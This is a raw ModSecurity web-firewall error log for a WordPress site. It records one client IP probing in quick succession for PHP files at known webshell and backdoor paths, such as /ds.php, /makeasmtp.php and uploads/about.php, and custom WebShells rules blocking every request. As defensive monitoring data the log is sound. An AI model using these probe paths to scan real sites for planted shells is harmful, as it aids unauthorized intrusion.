[Sun Feb 08 03:57:14.861774 2026] [:error] [pid 59037:tid 59054] [client 23.100.100.51:24984] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aYeZGqfozbk92ZUh9fVypQAAAMs"]
[Sun Feb 08 03:57:15.308932 2026] [:error] [pid 58945:tid 58975] [client 23.100.100.51:34472] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aYeZG-3XhW-_HjvixQM8FQAAABI"]
[Sun Feb 08 03:57:15.770508 2026] [:error] [pid 58947:tid 59011] [client 23.100.100.51:34458] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aYeZG41Re8oPluFQqli6ngAAAIA"]
[Sun Feb 08 03:57:16.481646 2026] [:error] [pid 58947:tid 59035] [client 23.100.100.51:5067] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYeZHI1Re8oPluFQqli6oQAAAJg"]
[Sun Feb 08 03:57:16.959157 2026] [:error] [pid 58946:tid 59000] [client 23.100.100.51:4244] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYeZHMWjb-i862L1IhGJFQAAAFA"]
[Sun Feb 08 03:57:17.553033 2026] [:error] [pid 58947:tid 59027] [client 23.100.100.51:36969] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYeZHY1Re8oPluFQqli6owAAAJA"]
[Sun Feb 08 03:57:17.889053 2026] [:error] [pid 58947:tid 59028] [client 23.100.100.51:32948] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYeZHY1Re8oPluFQqli6pAAAAJE"]
[Sun Feb 08 03:57:18.468364 2026] [:error] [pid 58946:tid 59008] [client 23.100.100.51:49552] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aYeZHsWjb-i862L1IhGJGwAAAFg"]
[Sun Feb 08 03:57:18.919091 2026] [:error] [pid 58947:tid 59014] [client 23.100.100.51:34499] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aYeZHo1Re8oPluFQqli6pQAAAIM"]
[Sun Feb 08 03:57:19.383176 2026] [:error] [pid 59037:tid 59067] [client 23.100.100.51:59070] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aYeZH6fozbk92ZUh9fVy1QAAANg"]
[Sun Feb 08 03:57:19.847443 2026] [:error] [pid 58945:tid 58966] [client 23.100.100.51:24997] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aYeZH-3XhW-_HjvixQM8HQAAAAk"]
[Sun Feb 08 03:57:20.513547 2026] [:error] [pid 58945:tid 58979] [client 23.100.100.51:34473] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aYeZIO3XhW-_HjvixQM8IAAAABY"]
[Sun Feb 08 03:57:20.893132 2026] [:error] [pid 58947:tid 59017] [client 23.100.100.51:37489] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aYeZII1Re8oPluFQqli6rAAAAIY"]
[Sun Feb 08 03:57:21.608175 2026] [:error] [pid 58945:tid 58961] [client 23.100.100.51:27476] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aYeZIe3XhW-_HjvixQM8IwAAAAQ"]
[Sun Feb 08 03:57:22.142260 2026] [:error] [pid 58945:tid 58971] [client 23.100.100.51:59013] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aYeZIu3XhW-_HjvixQM8JAAAAA4"]
[Sun Feb 08 03:57:23.767218 2026] [:error] [pid 59037:tid 59058] [client 23.100.100.51:49578] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aYeZI6fozbk92ZUh9fVy9gAAAM8"]
[Sun Feb 08 03:57:24.889970 2026] [:error] [pid 58946:tid 58986] [client 23.100.100.51:5075] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aYeZJMWjb-i862L1IhGJLAAAAEI"]
[Sun Feb 08 03:57:25.417582 2026] [:error] [pid 58947:tid 59017] [client 23.100.100.51:24972] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aYeZJY1Re8oPluFQqli6uQAAAIY"]
[Sun Feb 08 03:57:25.862782 2026] [:error] [pid 59037:tid 59066] [client 23.100.100.51:41835] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aYeZJafozbk92ZUh9fVzAgAAANc"]
[Sun Feb 08 03:57:58.290017 2026] [:error] [pid 59037:tid 59051] [client 23.100.100.51:4127] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYeZRqfozbk92ZUh9fVzuQAAAMg"]
[Sun Feb 08 03:58:22.320210 2026] [:error] [pid 24421:tid 24433] [client 23.100.100.51:49606] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ds.php"] [unique_id "aYeZXqp7cTzhX5M1IP_4wwAAAAI"]
[Sun Feb 08 03:58:22.948428 2026] [:error] [pid 24530:tid 24540] [client 23.100.100.51:58982] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ds.php"] [unique_id "aYeZXkazNRCs1GRWrh7XlQAAAMg"]
[Sun Feb 08 03:58:23.397969 2026] [:error] [pid 24421:tid 24435] [client 23.100.100.51:4487] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ds.php"] [unique_id "aYeZX6p7cTzhX5M1IP_4xAAAAAQ"]
[Sun Feb 08 03:58:23.802228 2026] [:error] [pid 24530:tid 24532] [client 23.100.100.51:28316] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ds.php"] [unique_id "aYeZX0azNRCs1GRWrh7XlwAAAMA"]
[Sun Feb 08 03:58:24.311624 2026] [:error] [pid 24530:tid 24547] [client 23.100.100.51:33422] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYeZYEazNRCs1GRWrh7XmQAAAM8"]
[Sun Feb 08 03:58:24.780783 2026] [:error] [pid 24530:tid 24551] [client 23.100.100.51:63012] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYeZYEazNRCs1GRWrh7XmwAAANM"]
[Sun Feb 08 03:58:25.411147 2026] [:error] [pid 24422:tid 24469] [client 23.100.100.51:61876] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYeZYSNNjcLoSCLKhTdmLAAAAEs"]
[Sun Feb 08 03:58:26.452353 2026] [:error] [pid 24423:tid 24496] [client 23.100.100.51:58951] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYeZYk3f9n1Y0TpV5YZjLwAAAIs"]
[Sun Feb 08 03:58:26.996035 2026] [:error] [pid 24530:tid 24536] [client 23.100.100.51:61824] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aYeZYkazNRCs1GRWrh7XowAAAMQ"]
[Sun Feb 08 03:58:28.537342 2026] [:error] [pid 24423:tid 24485] [client 23.100.100.51:55857] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aYeZZE3f9n1Y0TpV5YZjNAAAAIA"]
[Sun Feb 08 03:58:29.479130 2026] [:error] [pid 24530:tid 24551] [client 23.100.100.51:61875] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aYeZZUazNRCs1GRWrh7XpwAAANM"]
[Sun Feb 08 03:58:30.058438 2026] [:error] [pid 24423:tid 24486] [client 23.100.100.51:62992] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aYeZZk3f9n1Y0TpV5YZjNwAAAIE"]
[Sun Feb 08 03:58:30.340303 2026] [:error] [pid 24423:tid 24496] [client 23.100.100.51:33454] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYeZZk3f9n1Y0TpV5YZjOAAAAIs"]
[Sun Feb 08 03:58:31.008286 2026] [:error] [pid 24421:tid 24438] [client 23.100.100.51:33416] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYeZZ6p7cTzhX5M1IP_4zwAAAAc"]
[Sun Feb 08 03:58:31.761063 2026] [:error] [pid 24423:tid 24488] [client 23.100.100.51:63020] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYeZZ03f9n1Y0TpV5YZjOwAAAIM"]
[Sun Feb 08 03:58:32.350157 2026] [:error] [pid 24422:tid 24468] [client 23.100.100.51:61857] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aYeZaCNNjcLoSCLKhTdmNQAAAEo"]
[Sun Feb 08 03:58:32.779833 2026] [:error] [pid 24423:tid 24504] [client 23.100.100.51:34972] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aYeZaE3f9n1Y0TpV5YZjPQAAAJM"]
[Sun Feb 08 03:58:33.140601 2026] [:error] [pid 24421:tid 24453] [client 23.100.100.51:38725] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aYeZaap7cTzhX5M1IP_41AAAABY"]
[Sun Feb 08 03:58:33.559740 2026] [:error] [pid 24423:tid 24490] [client 23.100.100.51:23441] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aYeZaU3f9n1Y0TpV5YZjQAAAAIU"]
[Sun Feb 08 03:58:35.296918 2026] [:error] [pid 24530:tid 24544] [client 23.100.100.51:27924] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aYeZa0azNRCs1GRWrh7XtAAAAMw"]
[Sun Feb 08 03:58:35.997812 2026] [:error] [pid 24530:tid 24539] [client 23.100.100.51:33499] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aYeZa0azNRCs1GRWrh7XtgAAAMc"]
[Sun Feb 08 03:58:36.431005 2026] [:error] [pid 24530:tid 24543] [client 23.100.100.51:33500] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aYeZbEazNRCs1GRWrh7XuQAAAMs"]
[Sun Feb 08 03:58:37.302956 2026] [:error] [pid 24421:tid 24433] [client 23.100.100.51:62977] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aYeZbap7cTzhX5M1IP_42gAAAAI"]
[Sun Feb 08 03:58:38.242286 2026] [:error] [pid 24422:tid 24475] [client 23.100.100.51:28895] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aYeZbiNNjcLoSCLKhTdmPgAAAFE"]
[Sun Feb 08 03:58:38.725111 2026] [:error] [pid 24421:tid 24451] [client 23.100.100.51:23436] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aYeZbqp7cTzhX5M1IP_43AAAABQ"]
[Sun Feb 08 03:58:39.207937 2026] [:error] [pid 24530:tid 24539] [client 23.100.100.51:23442] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aYeZb0azNRCs1GRWrh7XwAAAAMc"]
[Sun Feb 08 03:58:39.694880 2026] [:error] [pid 24422:tid 24470] [client 23.100.100.51:28868] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aYeZbyNNjcLoSCLKhTdmQQAAAEw"]
[Sun Feb 08 03:58:40.188803 2026] [:error] [pid 24422:tid 24481] [client 23.100.100.51:26545] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aYeZcCNNjcLoSCLKhTdmQwAAAFc"]
[Sun Feb 08 03:58:40.881514 2026] [:error] [pid 24530:tid 24534] [client 23.100.100.51:51005] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aYeZcEazNRCs1GRWrh7XxAAAAMI"]
[Sun Feb 08 03:58:41.299764 2026] [:error] [pid 24421:tid 24445] [client 23.100.100.51:23486] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aYeZcap7cTzhX5M1IP_44AAAAA4"]
[Sun Feb 08 03:58:41.620120 2026] [:error] [pid 24421:tid 24440] [client 23.100.100.51:33528] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aYeZcap7cTzhX5M1IP_44gAAAAk"]
[Sun Feb 08 03:58:42.046401 2026] [:error] [pid 24530:tid 24551] [client 23.100.100.51:33494] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aYeZckazNRCs1GRWrh7XyAAAANM"]
[Sun Feb 08 03:58:42.539854 2026] [:error] [pid 24530:tid 24535] [client 23.100.100.51:28415] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/"] [unique_id "aYeZckazNRCs1GRWrh7XyQAAAMM"]
[Sun Feb 08 03:58:43.109072 2026] [:error] [pid 24422:tid 24468] [client 23.100.100.51:4761] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/"] [unique_id "aYeZcyNNjcLoSCLKhTdmSAAAAEo"]
[Sun Feb 08 03:58:43.445799 2026] [:error] [pid 24423:tid 24501] [client 23.100.100.51:4197] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/"] [unique_id "aYeZc03f9n1Y0TpV5YZjTgAAAJA"]
